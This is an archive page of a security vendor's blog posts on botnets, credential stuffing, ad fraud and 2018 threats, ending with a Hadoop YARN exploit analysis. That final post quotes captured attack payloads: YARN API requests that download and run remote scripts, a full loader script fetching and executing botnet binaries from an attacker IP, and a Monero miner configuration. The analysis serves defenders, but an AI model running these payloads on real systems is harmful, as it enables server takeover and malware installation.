Botnets Archives | Radware Blog

main

Will We Ever See the End of Account Theft?

March 12, 2019 — by David Hobbs — 0

There’s an 87 Gigabyte file containing 773 Million unique email addresses and passwords being sold on online forums today called “Collection #1.” We know that many users of websites are using the same passwords all over the internet; even after all the years of data breaches and account takeovers and thefts, user behavior stays the same. Most people want the have the least complex means to use a website possible.

So, what does this mean for businesses?

Anywhere you have applications guarded with username / password mechanisms, there’s going to be credential stuffing attacks, courtesy of botnets. A modern botnet is a distributed network of computers around the globe that can perform sophisticated tasks and is often comprised of compromised computers belonging to other people. Essentially, these botnets are looking to steal the sand from the beach, one grain at a time, and they are never going to stop. If anything, the levels of sophistication of the exploitation methods have grown exponentially.

Today, a Web Application Firewall (WAF) alone is not enough to fight botnets. WAFs can do some of the job, but today’s botnets are very sophisticated and can mimic real human behaviors. Many companies relied on CAPTCHA as their first line of defense, but it’s no longer sufficient to stop bots. In fact, there are now browser plugins to break CAPTCHA.

Case in point: In 2016 at BlackHat Asia, some presenters shared that they were 98% successful at breaking these mechanisms. 98%! We, as humans, are probably nowhere near that success rate. Personally, I’m likely at 70-80%, depending on what words (and backwards letters!) CAPTCHA presents while I’m rushing to get my work done. Even with picture CAPTCHA, I pass maybe 80% of my initial attempts; I can’t ever get those “select the edges of street signs” traps! So, what if bots are successful 98% of the time and humans only average 70%?

CAPTCHA Alone Won’t Save You

If your strategy to stop bots is flawed and you rely on CAPTCHA alone, what are some of the repercussions you may encounter? First, your web analytics will be severely flawed, impacting your ability to accurately gauge the real usage of your site. Secondly, advertising fraud can run your bill up from affiliate sites. Third, the CAPTCHA-solving botnets will still be able to conduct other nefarious deeds, like manipulate inventory, scrape data, and launch attacks on your site.

Identification of good bots and bad bots requires a dedicated solution. Some of the largest websites in the world have admitted that this is an ongoing war for them. Machine learning and deep learning technologies are the only way to stay ahead in today’s world. If you do not have a dedicated anti-bot platform, you may be ready to start evaluating one today.

Read “Radware’s 2018 Web Application Security Report” to learn more.

Download Now

IoT Expands the Botnet Universe

March 6, 2019 — by Radware — 0

In 2018, we witnessed the dramatic growth of IoT devices and a corresponding increase in the number of botnets and cyberattacks. Because IoT devices are always-on, rarely monitored and generally use off-the-shelf default passwords, they are low-hanging fruit for hackers looking for easy ways to build an army of malicious attackers. Every IoT device added to the network grows the hacker’s tool set.

Botnets comprised of vulnerable IoT devices, combined with widely available DDoS-as-a-Service tools and anonymous payment mechanisms, have pushed denial-of-service attacks to record-breaking volumes. At the same time, new domains such as cryptomining and credentials theft offer more opportunities for hacktivism.

Let’s look at some of the botnets and threats discovered and identified by Radware’s deception network in 2018.

JenX

A new botnet tried to deliver its dangerous payload to Radware’s newly deployed IoT honeypots. The honeypots registered multiple exploit attempts from distinct servers, all located in popular cloud hosting providers based in Europe. The botnet creators intended to sell 290Gbps DDoS attacks for only $20. Further investigation showed that the new bot used an atypical central scanning method through a handful of Linux virtual private servers (VPS) used to scan, exploit and load malware onto unsuspecting IoT victims. At the same time, the deception network also detected SYN scans originating from each of the exploited servers indicating that they were first performing a
mass scan before attempting to exploit the IoT devices, ensuring that ports 52869 and 37215 were open.

ADB Miner

A new piece of malware that takes advantage of Android-based devices exposing debug capabilities to the internet. It leverages scanning code from Mirai. When a remote host exposes its Android Debug Bridge (ADB) control port, any Android emulator on the internet has full install, start, reboot and root shell access without authentication.

Part of the malware includes Monero cryptocurrency miners (xmrig binaries), which are executing on the infected devices. Radware’s automated trend analysis algorithms detected a significant increase in activity against port 5555, both in the number of hits and in the number of distinct IPs. Port 5555 is one of the known ports used by TR069/064 exploits, such as those witnessed during the Mirai-based attack targeting Deutsche Telekom routers in November 2016. In this case, the payload delivered to the port was not SOAP/HTTP, but rather the ADB remote debugging protocol.

Satori.Dasan

Less than a week after ADB Miner, a third new botnet variant triggered a trend alert due to a significant increase in malicious activity over port 8080. Radware detected a jump in the infecting IPs from around 200 unique IPs per day to over 2,000 malicious unique IPs per day. Further investigation by the research team uncovered a new variant of the Satori botnet capable of aggressive scanning and exploitation of CVE-2017-18046 — Dasan Unauthenticated Remote Code Execution.

The rapidly growing botnet referred to as “Satori.Dasan” utilizes a highly effective wormlike scanning mechanism, where every infected host looks for more hosts to infect by performing aggressive scanning of random IP addresses and exclusively targeting port 8080. Once a suitable target is located, the infected bot notifies a C2 server, which immediately attempts to infect the new victim.

Memcached DDoS Attacks

A few weeks later, Radware’s system provided an alert on yet another new trend — an increase in activity on UDP port 11211. This trend notification correlated with several organizations publicly disclosing a trend in UDP-amplified DDoS attacks utilizing Memcached servers configured to accommodate UDP (in addition to the default TCP) without limitation. After the attack, CVE2018-1000115 was published to patch this vulnerability.

Memcached services are by design an internal service that allows unauthenticated access requiring no verification of source or identity. A Memcached amplified DDoS attack makes use of legitimate third-party Memcached servers to send attack traffic to a targeted victim by spoofing the request packet’s source IP with that of the victim’s IP. Memcached provided record-breaking amplification ratios of up to 52,000x.

Hajime Expands to MikroTik RouterOS

Radware’s alert algorithms detected a huge spike in activity for TCP port 8291. After near-zero activity on that port for months, the deception network registered over 10,000 unique IPs hitting port 8291 in a single day. Port 8291 is related to a then-new botnet that exploits vulnerabilities in the MikroTik RouterOS operating system, allowing attackers to remotely execute code on the device.

The spreading mechanism was going beyond port 8291, which is used almost exclusively by MikroTik, and rapidly infecting other devices such as AirOS/Ubiquiti via ports: 80, 81, 82, 8080, 8081, 8082, 8089, 8181, 8880, utilizing known exploits and password-cracking attempts to speed up the propagation.

Satori IoT Botnet Worm Variant

Another interesting trend alert occurred on Saturday, June 15. Radware’s automated algorithms alerted to an upsurge of malicious activity scanning and infection of a variety of IoT devices by taking advantage of recently discovered exploits. The previously unseen payload was delivered by the infamous Satori botnet. The exponential increase in the number of attack sources spread all over the world, exceeding 2,500 attackers in a 24-hour period.

Hakai

Radware’s automation algorithm monitored the rise of Hakai, which was first recorded in July. Hakai is a new botnet recently discovered by NewSky Security after lying dormant for a while. It started to infect D-Link, Huawei and Realtek routers. In addition to exploiting known vulnerabilities to infect the routers, it used a Telnet scanner to enslave Telnet-enabled devices with default credentials.

DemonBot

A new stray QBot variant going by the name of DemonBot joined the worldwide hunt for yellow elephant — Hadoop cluster — with the intention of conscripting them into an active DDoS botnet. Hadoop clusters are typically very capable, stable platforms that can individually account for much larger volumes of DDoS traffic compared to IoT devices. DemonBot extends the traditional abuse of IoT platforms for DDoS by adding very capable big data cloud servers. The DDoS attack vectors supported by DemonBot are STD, UDP and TCP floods.

Using a Hadoop YARN (Yet-Another-Resource-Negotiator) unauthenticated remote command execution, DemonBot spreads only via central servers and does not expose the wormlike behavior exhibited by Mirai-based bots. By the end of October, Radware tracked over 70 active exploit servers that are spreading malware
and exploiting YARN servers at an aggregated rate of over one million exploits per day.

YARN allows multiple data processing engines to handle data stored in a single Hadoop platform. DemonBot took advantage of YARN’s REST API publicly exposed by over 1,000 cloud servers worldwide. DemonBot effectively harnesses the Hadoop clusters in order to generate a DDoS botnet powered by cloud infrastructure.

Always on the Hunt

In 2018, Radware’s deception network launched its first automated trend-detection steps and proved its ability to identify emerging threats early on and to distribute valuable data to the Radware mitigation devices, enabling them to effectively mitigate infections, scanners and attackers. One of the most difficult aspects in automated anomaly detection is to filter out the massive noise and identify the trends that indicate real issues.

In 2019, the deception network will continue to evolve and learn and expand its horizons, taking the next steps in real-time automated detection and mitigation.

Read “The Trust Factor: Cybersecurity’s Role in Sustaining Business Momentum” to learn more.

Download Now

Attackers Are Leveraging Automation

January 31, 2019 — by Radware — 0

Cybercriminals are weaponizing automation and machine learning to create increasingly evasive attack vectors, and the internet of things (IoT) has proven to be the catalyst driving this trend. IoT is the birthplace of many of the new types of automated bots and malware.

At the forefront are botnets, which are increasingly sophisticated, lethal and highly automated digitized armies running amok on corporate networks. For example, hackers now leverage botnets to conduct early exploitation and network reconnaissance prior to unleashing an attack.

The Mirai botnet, which was made famous by its use in the 2016 attack on DNS provider Dyn, along with its subsequent variants, embodies many of these characteristics. It leverages a network-scanning and attack architecture capable of identifying “competing” malware and removing it from the IoT device to block remote administrative control. In addition, it leverages the infamous Water Torture attack to generate randomized domain names on a DNS infrastructure. Follow-up variants use automation to allow the malware to craft malicious queries in real time.

Modern-day malware is an equally sophisticated multi-vector cyberattack weapon designed to elude detection using an array of evasion tools and camouflage techniques. Hackers now leverage machine learning to create custom malware that defeats anti-malware defenses. One example is Generative Adversarial Network algorithms
that can bypass black-box machine-learning models. In another example, a cybersecurity company adapted Elon Musk’s OpenAI framework to create forms of malware that mitigation solutions couldn’t detect.

Automation for Detection and Mitigation

So how does a network security team improve its ability to deal with these increasingly multifarious cyberattacks? Fight fire with fire. Automated cybersecurity solutions provide the data-processing muscle to mitigate these advanced threats.

Executives clearly understand this and are ready to take advantage of automation. According to Radware’s C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts report, the vast majority of executives (71%) report shifting more of their network security budget into technologies that employ machine learning and automation. The need to protect increasingly heterogeneous infrastructures, a shortage in cybersecurity talent and increasingly dangerous
cyberthreats were indicated as the primary drivers of this fiscal shift.

In addition, the trust factor is increasing. Four in 10 executives trust automated systems more than humans to protect their organization against cyberattacks.

Traditional DDoS solutions use rate limiting and manual signature creation to mitigate attacks. Rate limiting can be effective but can also result in a high number of false positives. As a result, manual signatures are then used to block offending traffic to reduce the number of false positives. Moreover, manual signatures take time to create because identifying offending traffic is only possible AFTER the attack starts. With machine-learning botnets now breaching defenses in less than 20 seconds, this hands-on strategy does not suffice.

Automation and, more specifically, machine learning overcome the drawbacks of manual signature creation and rate-limiting protection by automatically creating signatures and adapting protections to changing attack vectors. Machine learning leverages advanced mathematical models and algorithms to look at baseline network parameters, assess network behavior, automatically create attack signatures and adapt security configurations and/or policies to mitigate attacks. Machine learning transitions an organization’s DDoS protection strategy from manual, ratio- and rate-based protection to behavioral-based detection and mitigation.

The Final Step: Self-Learning

A market-leading DDoS protection solution combines machine-learning capabilities with negative and positive security protection models to mitigate automated attack vectors, such as the aforementioned DNS Water Torture attacks made notorious by Mirai. By employing machine learning and ingress-only positive protection models, this sort of an attack vector is eliminated, regardless of whether the protected DNS infrastructure is an authoritative or a recursive DNS.

The final step of automated cybersecurity is automated self-learning. DDoS mitigation solutions should leverage a deep neural network (DNN) that conducts post-analysis of all the generated data, isolates known attack information and feeds those data points back into the machine learning algorithms. DNNs require massive amounts of storage and computing power and can be prohibitively expensive to house and manage within a privately hosted data center.

As a result, ideally a DNN is housed and maintained by your organization’s DDoS mitigation vendor, which leverages its network of cloud-based scrubbing centers (and the massive volumes of threat intelligence data that it collects) to process this information via big data analytics and automatically feed it back into your organization’s DDoS mitigation solution via a real-time threat intelligence feed.This makes the input of thousands of malicious IPs and new attack signatures into an automated process that no SOC team could ever hope to accomplish manually.

The result is a DDoS mitigation system that automatically collects data from multiple sources and leverages machine learning to conduct zero-day characterization. Attack signatures and security policies are automatically updated and not reliant on a SOC engineer who is free to conduct higher-level analysis, system management and threat analysis.

Automation is the future of cybersecurity. As cybercriminals become more savvy and increasingly rely on automation to achieve their mischievous goals, automation and machine learning will become the cornerstone of cybersecurity solutions to effectively combat the onslaught from the next generation of attacks. It will allow organizations to improve the ability to scale network security teams, minimize human errors and safeguard digital assets to ensure brand reputation and the customer experience.

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

Download Now

Bot or Not? Distinguishing Between the Good, the Bad & the Ugly

January 8, 2019 — by Anna Convery-Pelletier — 0

Bots touch virtually every part of our digital lives. They help populate our news feeds, tell us the weather, provide stock quotes, control our search rankings, and help us comparison shop. We use bots to book travel, for online customer support, and even to turn our lights on and off and unlock our doors.

Yet, for every ‘good’ bot, there is a nefarious one designed to disrupt, steal or manipulate. Indeed, at least one third of all Internet traffic is populated by a spectrum of ‘bad’ bots. On one end, there are the manipulative bots, like those designed to buy out retailers’ inventory to resell high-demand goods at markup (like limited edition sneakers or ticket scalping) or simulate advertiser click counts. On the other, more extreme end, malicious bots take over accounts, conduct API abuse and enslave our IoT devices to launch massive DDoS attacks.

Equally troubling is the speed at which the bot ecosystem is evolving. Like most criminal elements, threat actors are singularly focused in their goals: They constantly update, mutate, and modify their tool sets to work around the various protections companies put in place.

In other words, what protected your organization against bots last year may not work today. Research from Radware’s 2018 State of Web Application Security Report shows that most organizations rely on tools like Captcha to detect their bot traffic, but modern, sophisticated bots can easily bypass those tools, making it difficult to even detect bot traffic, let alone identify the bot’s intentions.

Organizations need to look for bot management solutions that not only effectively detect and mitigate bot attacks but can also distinguish between ‘good’ and ‘bad’ bots in real-time.

Yesterday, Radware announced its intent to acquire ShieldSquare, which is a pioneer in the bot mitigation industry and one of three recognized solution leaders by Forrester with strong differentiation in the Attack Detection, Threat Research, Reporting, and Analytics categories.

The strong technology synergy between the two companies around advanced machine learning and the opportunity to extend Radware’s existing cloud security services bring a tremendous advantage to our customers and partners.

This acquisition allows Radware to expand our portfolio with more robust bot management solutions that can stand alone as product offerings as well as integrate into our suite of attack mitigation solutions. Radware will offer ShieldSquare’s bot management and mitigation product under the new Radware Bot Management product line. It enhances Radware’s advanced anti-bot capabilities from multi-protocol IoT DDoS attacks to more crafted e-commerce attacks affecting six emerging problems:

Data harvesting and Scraping Attacks
Account creation and Account Takeover Attacks
Denial of Inventory
Application DDoS & Brute Force Attacks
Brand Image / Reputation Attacks

It also provides ShieldSquare’s customers with access to the full suite of Radware security and availability solutions both on-prem and in the cloud, including our Cloud WAF services for comprehensive protection of applications.

We look forward to welcoming the ShieldSquare team into the Radware family and joining forces to offer some of the world’s best bot management solutions.

Read “Radware’s 2018 Web Application Security Report” to learn more.

Download Now

Ad Fraud 101: How Cybercriminals Profit from Clicks

January 3, 2019 — by Daniel Smith — 1

Fraud is and always will be a cornerstone of the cybercrime community. The associated economic gains provide substantial motivation for today’s malicious actors, which is reflected in the rampant use of identity and financial theft, and ad fraud. Fraud is, without question, big business. You don’t have to look far to find websites, on both the clear and the darknet, that profit from the sale of your personal information.

Fraud-related cyber criminals are employing an evolving arsenal of tactics and malware designed to engage in these types of activities. What follows is an overview.

Digital Fraud

Digital fraud—the use of a computer for criminal deception or abuse of web enabled assets that results in financial gain—can be categorized and explained in three groups for the purpose of this blog: basic identity theft with the goal of collecting and selling identifiable information, targeted campaigns focused exclusively on obtaining financial credentials, and fraud that generates artificial traffic for profit.

Digital fraud is its own sub-community consistent with typical hacker profiles. You have consumers dependent on purchasing stolen information to commit additional fraudulent crime, such as making fake credit cards and cashing out accounts, and/or utilizing stolen data to obtain real world documents like identification cards and medical insurance. There are also general hackers, motivated by profit or disruption, who publicly post personally identifiable information that can be easily scraped and used by other criminals. And finally, there are pure vendors who are motivated solely by profit and have the skills to maintain, evade and disrupt at large scales.

Identity fraud harvests complete or partial user credentials and personal information for profit. This group mainly consists of cybercriminals who target databases with numerous attack vectors for the purposes of selling the obtained data for profit. Once the credentials reach their final destination, other criminals will use the data for additional fraudulent purposes, such as digital account takeover for financial gains.
Banking fraud harvests banking credentials, digital wallets and credit cards from targeted users. This group consists of highly talented and focused criminals who only care about obtaining financial information, access to cryptocurrency wallets or digitally skimming credit cards. These criminals’ tactics, techniques and procedures (TTP) are considered advanced, as they often involve the threat actor’s own created malware, which is updated consistently.
Ad fraud generates artificial impressions or clicks on a targeted website for profit. This is a highly skilled group of cybercriminals that is capable of building and maintaining a massive infrastructure of infected devices in a botnet. Different devices are leveraged for different types of ad fraud but generally, PC-based ad fraud campaigns are capable of silently opening an internet browser on the victim’s computer and clicking on an advertisement.

Ad Fraud & Botnets

Typically, botnets—the collection of compromised devices that are often referred to as a bot and controlled by a malicious actor, a.k.a. a “bot herder—are associated with flooding networks and applications with large volumes of traffic. But they also send large volumes of malicious spam, which is leveraged to steal banking credentials or used to conduct ad fraud.

However, operating a botnet is not cheap and operators must weigh the risks and expense of operating and maintaining a profitable botnet. Generally, a bot herder has four campaign options (DDoS attacks, spam, banking and ad fraud) with variables consisting of research and vulnerability discovery, infection rate, reinfection rate, maintenance, and consumer demand.

With regards to ad fraud, botnets can produce millions of artificially generated clicks and impressions a day, resulting in a financial profit for the operators. Two recent ad fraud campaigns highlight the effectiveness of botnets:

3ve, pronounced eve, was recently taken down by White Owl, Google and the FBI. This PC-based botnet infected over a million computers and utilized tens of thousands of websites for the purpose of click fraud activities. The infected users would never see the activity conducted by the bot, as it would open a hidden browser outside the view of the user’s screen to click on specific ads for profit.
Mirai, an IoT-based botnet, was used to launch some of the largest recorded DDoS attacks in history. When the co-creators of Mirai were arrested, their indictments indicated that they also engaged in ad fraud with this botnet. The actors were able to conduct what is known as an impression fraud by generating artificial traffic and directing it at targeted sites for profit.

The Future of Ad Fraud

Ad fraud is a major threat to advertisers, costing them millions of dollars each year. And the threat is not going away, as cyber criminals look for more profitable vectors through various chaining attacks and alteration of the current TTPs at their disposal.

As more IoT devices continue to be connected to the Internet with weak security standards and vulnerable protocols, criminals will find ways to maximize the profit of each infected device. Currently, it appears that criminals are looking to maximize their new efforts and infection rate by targeting insecure or unmaintained IoT devices with a wide variety of payloads, including those designed to mine cryptocurrencies, redirect users’ sessions to phishing pages or conduct ad fraud.

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

Top 6 Threat Discoveries of 2018

December 18, 2018 — by Radware — 0

Over the course of 2018, Radware’s Emergency Response Team (ERT) identified several cyberattacks and security threats across the globe. Below is a round-up of our top discoveries from the past year. For more detailed information on each attack, please visit DDoS Warriors.

DemonBot

Radware’s Threat Research Center has been monitoring and tracking a malicious agent that is leveraging a Hadoop YARN (Yet-Another-Resource-Negotiator) unauthenticated remote command execution to infect Hadoop clusters with an unsophisticated new bot that identifies itself as DemonBot.

After a spike in requests for /ws/v1/cluster/apps/new-application appeared in our Threat Deception Network, DemonBot was identified and we have been tracking over 70 active exploit servers that are actively spreading DemonBot and are exploiting servers at an aggregated rate of over 1 million exploits per day.

Credential Stuffing Campaign

In October, Radware began tracking a credential stuffing campaign—a subset of Bruce Force attacks—targeting the financial industry in the United States and Europe.

This particular campaign is motivated by fraud. Criminals are using credentials from prior data breaches to gain access to users’ bank accounts. When significant breaches occur, the compromised emails and passwords are quickly leveraged by cybercriminals. Armed with tens of millions of credentials from recently breached websites, attackers will use these credentials, along with scripts and proxies, to distribute their attack against the financial institution to take over banking accounts. These login attempts can happen in such volumes that they resemble a distributed denial-of-service (DDoS) attack.

DNS Hijacking Targets Brazilian Banks

This summer, Radware’s Threat Research Center identified a hijacking campaign aimed at Brazilian Bank customers through their IoT devices, attempting to gain their bank credentials.

The research center had been tracking malicious activity targeting DLink DSL modem routers in Brazil since early June. Through known old exploits dating from 2015, a malicious agent is attempting to modify the DNS server settings in the routers of Brazilian residents, redirecting all their DNS requests through a malicious DNS server. The malicious DNS server is hijacking requests for the hostname of Banco de Brasil (www.bb.com.br) and redirecting to a fake, cloned website hosted on the same malicious DNS server, which has no connection whatsoever to the legitimate Banco de Brasil website.

Nigelthorn Malware

In May, Radware’s cloud malware protection service detected a zero-day malware threat at one of its customers, a global manufacturing firm, by using machine-learning algorithms. This malware campaign is propagating via socially-engineered links on Facebook and is infecting users by abusing a Google Chrome extension (the ‘Nigelify’ application) that performs credential theft, cryptomining, click fraud and more.

Further investigation by Radware’s Threat Research group revealed that this group has been active since at least March 2018 and has already infected more than 100,000 users in over 100 countries.

Stresspaint Malware Campaign

On April 12, 2018, Radware’s Threat Research group detected malicious activity via internal feeds of a group collecting user credentials and payment methods from Facebook users across the globe. The group manipulates victims via phishing emails to download a painting application called ‘Relieve Stress Paint.’ While benign in appearance, it runs a malware dubbed ‘Stresspaint’ in the background. Within a few days, the group had infected over 40,000 users, stealing tens of thousands Facebook user credentials/cookies.

DarkSky Botnet

In early 2018, Radware’s Threat Research group discovered a new botnet, dubbed DarkSky. DarkSky features several evasion mechanisms, a malware downloader and a variety of network- and application-layer DDoS attack vectors. This bot is now available for sale for less than $20 over the Darknet.

As published by its authors, this malware is capable of running under Windows XP/7/8/10, both x32 and x64 versions, and has anti-virtual machine capabilities to evade security controls such as a sandbox, thereby allowing it to only infect ‘real’ machines.

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

Hadoop YARN: An Assessment of the Attack Surface and Its Exploits

November 15, 2018 — by Pascal Geenens — 1

Rate of Hadoop YARN exploits is slowing but still at a concerning 350,000 events per day
1065 servers are exposed and vulnerable
The geographic spread of vulnerable servers and the targets of the attacks is global and concentrated in regions with high cloud data center densities
Motivations behind the exploits range from planting Linux backdoors, infecting servers with IoT malware for scanning and DDoS, up to cryptomining campaigns
A Monero cryptomining campaign has been actively abusing exposed Hadoop YARN servers since April 2018 and mined for a total revenue of 566 XMR (about 60,000 USD) and is growing its revenues with an average of 2 XMR (212 USD) a day
In a window of less than 14 days, there was enough malware collected from Hadoop YARN exploit attempts to start a small zoo
Owners of Hadoop YARN servers should care, as they can fall victim to cryptomining abuse, causing loss of performance, instability and higher cloud utilization bills
Online businesses should care, too. They can be the target of DDoS attacks.
Consumers should care because they will not be able to shop during Cyber Monday if their favorite online shop falls victim to DDoS attacks

In my blog on DemonBot, I discussed how Hadoop YARN exploit attempts were ramping up. In the middle of October, our deception network recorded up to 1.5 million attempts per day. The good news is that the attempt rate steadily slowed down in the second half of last month—though unfortunately not to the point where we should pat ourselves on the back for exposing one of the many malicious campaigns that are taking advantage of exposed Hadoop YARN servers.

These last few days, the number of Hadoop Yarn exploit attempts slowed to an average of 350,000 attempts per day. That said, there is no sign of the threat going away any time soon and we should stay alert. In order to appreciate the risk and quantify the threat, I have been tracking Hadoop YARN campaigns and exploring the extent of the attack surface since my last blog. Understanding the potential for abuse and the types of threats that are emerging from the exposed servers allows one to better appreciate the risk.

The Attackers and their Victims

Between September and the first half of November, there have been more than 35 million exploit attempts registered by our deception network and over one-third of them originated from the US. Great Britain, Italy and Germany are the runners-up and, combined, they were good for more than half of the exploit attempts.

In absolute numbers, the U.S. generated nearly 12 million exploit attempts. Great Britain and Italy each were responsible for 6 million attempts, closely followed by Germany with 4.8 million attempts.

The exploit attempts were not specifically targeting a single region. The UK and Germany honeypots were hit twice as hard compared to the rest of the world. The average numbers for each region is between 1.6 and 3.2 million attempted exploits.

Hadoop YARN Attack Surface

To asses the attack surface, I performed a global scan for services listening on the Hadoop YARN port TCP/8088, taking care to exclude sensitive IP ranges as listed in Robert Graham’s masscan exclusion list. By November 8, the number of vulnerable Hadoop YARN servers exposed to the public was 1065. The vulnerable servers are scattered around the globe with higher concentrations in areas where the data center density is high.

Compare the above locations of vulnerable Hadoop YARN servers with the global data center map below:

The attack surface is global and limited to little over 1,000 servers, but it should not be ignored because of the high potential powerful big data servers typically provide for malicious agents.

Types of Abuse

Now that we have a good measure on the attack surface and the interest taken in it by malicious actors, it’s time to have a closer look at how these actors are attempting to take advantage of this situation.

The below graph shows different Hadoop YARN exploits recorded by our medium interaction honeypots over a period of 14 days. Each exploit payload contains a command sequence which is hashed into a unique fingerprint, allowing us to quantify and track campaigns over time. The exploit table in (*1) contains the details of each command sequence corresponding to the fingerprints in the graph.

The red bars in the command sequence graph above represent the attempted count per day from a new DemonBot campaign ‘YSDKOP,’ named after the names used for the malware binaries.

The two large peaks in different shades of blue represent multiple exploits related to a Hadoop YARN cryptomining campaign that has been running for at least 8 months now; first spotted in April 2018, it recently moved its download infrastructure to BitBucket.org. Guess it is more convenient to track different versions of cryptominer and its configuration files over time using Atlassian’s free and public service…

The other, shorter and less aggressive campaigns represented in the command sequence graph above were mostly infection attempts by Linux/IoT Botnets. Some that seemed worthy of a few words are discussed below.

The Bitbucket Crypto Miner

An ongoing Monero cryptomining campaign that has been known to actively abuse exposed Hadoop YARN servers since April of this year, mined a total of 566 XMR (about 60,000 USD) and is growing its revenue with an average rate of 2 XMR (212 USD) a day. The malicious agent or group is currently abusing three servers and maintains an average hash rate of 400kH/s over time.

Leveraging the Hadoop YARN vulnerability, a shell script is downloaded and executed from a public BitBucket account:

{“max-app-attempts”:2,”am-container-spec”:{“commands”:{“command”:”wget -q -O – https://bitbucket.org/zrundr42/mygit/raw/master/zz.sh | bash & disown”}},”application-id”:”application_1802197302061_0095″,”application-type”:”YARN”,”application-name”:”hadoop”}

The ‘zz.sh’ script, archived in (*2) for reference, performs some cleaning up on the server before ultimately downloading a binary called ‘x_64’ from the same repository.

The x_64 binary is XMRig, an open source, high-performance Monero CPU miner written in C++ (https://github.com/xmrig/xmrig).

 $ ./x_64 --version
XMRig 2.8.1
built on Oct 18 2018 with GCC 4.8.4
features: 64-bit AES
libuv/1.9.1

The configuration file for XMRig is ‘w.conf’ and downloaded from the same BitBucket repository:

{
    "algo": "cryptonight",
    "background": true,
    "colors": false,
    "retries": 5,
    "retry-pause": 5,
    "donate-level": 1,
    "syslog": false,
    "log-file": null,
    "print-time": 60,
    "av": 0,
    "safe": false,
    "max-cpu-usage": 95,
    "cpu-priority": 4,
    "threads": null,
    "pools": [
         {
            "url": "stratum+tcp://163.172.205.136:3333",
            "user": "46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S",
            "pass": "h",
            "keepalive": true,
            "nicehash": false,
            "variant": -1
        }
    ],
    "api": {
        "port": 0,
        "access-token": null,
        "worker-id": null
    }
}

From the configuration file we find the pool wallet address:

46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

The wallet address matches that of operations reported in the Stackoverflow and HortonWorks communities by Hadoop admins in May of this year; thousands of cryptomining jobs were causing issues with the cluster.

In August, the 360 Threat Intelligence Center published a report on what they called the “8220 mining gang,” also mentioning the same wallet address. According to the researchers, the mining gang was/is suspected to be of Chinese origin.

The same address also matches the wallet address used in a sample Nanopool report link in the readme of another cryptomining open-source software hosted on Github and called ‘Cpuhunter’.

The Nanopool wallet account that has been in use since April 10 can be tracked through this link.

The total XMR payments resulting from this illegal mining operation were, as of November 12, 566 XMR or about 60,000 USD.

IOC
Binary: a1bd663986bae6b5cea19616c9507d09618eaddb71051ae826580a0b7e610ae5 x_64
Bitbucket repo: https://bitbucket.org/zrundr42/mygit/src/master/
Mining pool account: 46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

YSDKOP, DemonBot in Hiding

YSDKOP bots are delivered through a Hadoop YARN exploit using the following payload:

 User-Agent: [python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.3.5.el6.x86_64]
{"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/bins.sh -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex; rm -rf/tmp/flex"}}, "application-id": "application_1802197302061_0095", "application-type": "YARN", "application-name": "get-shell"}

The downloaded ‘bins.sh’ script downloads in its turn several binaries in a typical IoT loader kind of way:


$ cat bins.sh 
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.mips; chmod +x YSDKOP.mips; ./YSDKOP.mips; rm -rf YSDKOP.mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.mpsl; chmod +x YSDKOP.mpsl; ./YSDKOP.mpsl; rm -rf YSDKOP.mpsl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.sh4; chmod +x YSDKOP.sh4; ./YSDKOP.sh4; rm -rf YSDKOP.sh4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.x86; chmod +x YSDKOP.x86; ./YSDKOP.x86; rm -rf YSDKOP.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm6; chmod +x YSDKOP.arm6; ./YSDKOP.arm6; rm -rf YSDKOP.arm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.i686; chmod +x YSDKOP.i686; ./YSDKOP.i686; rm -rf YSDKOP.i686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.ppc; chmod +x YSDKOP.ppc; ./YSDKOP.ppc; rm -rf YSDKOP.ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.i586; chmod +x YSDKOP.i586; ./YSDKOP.i586; rm -rf YSDKOP.i586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.m68k; chmod +x YSDKOP.m68k; ./YSDKOP.m68k; rm -rf YSDKOP.m68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.sparc; chmod +x YSDKOP.sparc; ./YSDKOP.sparc; rm -rf YSDKOP.sparc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm4; chmod +x YSDKOP.arm4; ./YSDKOP.arm4; rm -rf YSDKOP.arm4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm5; chmod +x YSDKOP.arm5; ./YSDKOP.arm5; rm -rf YSDKOP.arm5
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm7; chmod +x YSDKOP.arm7; ./YSDKOP.arm7; rm -rf YSDKOP.arm7
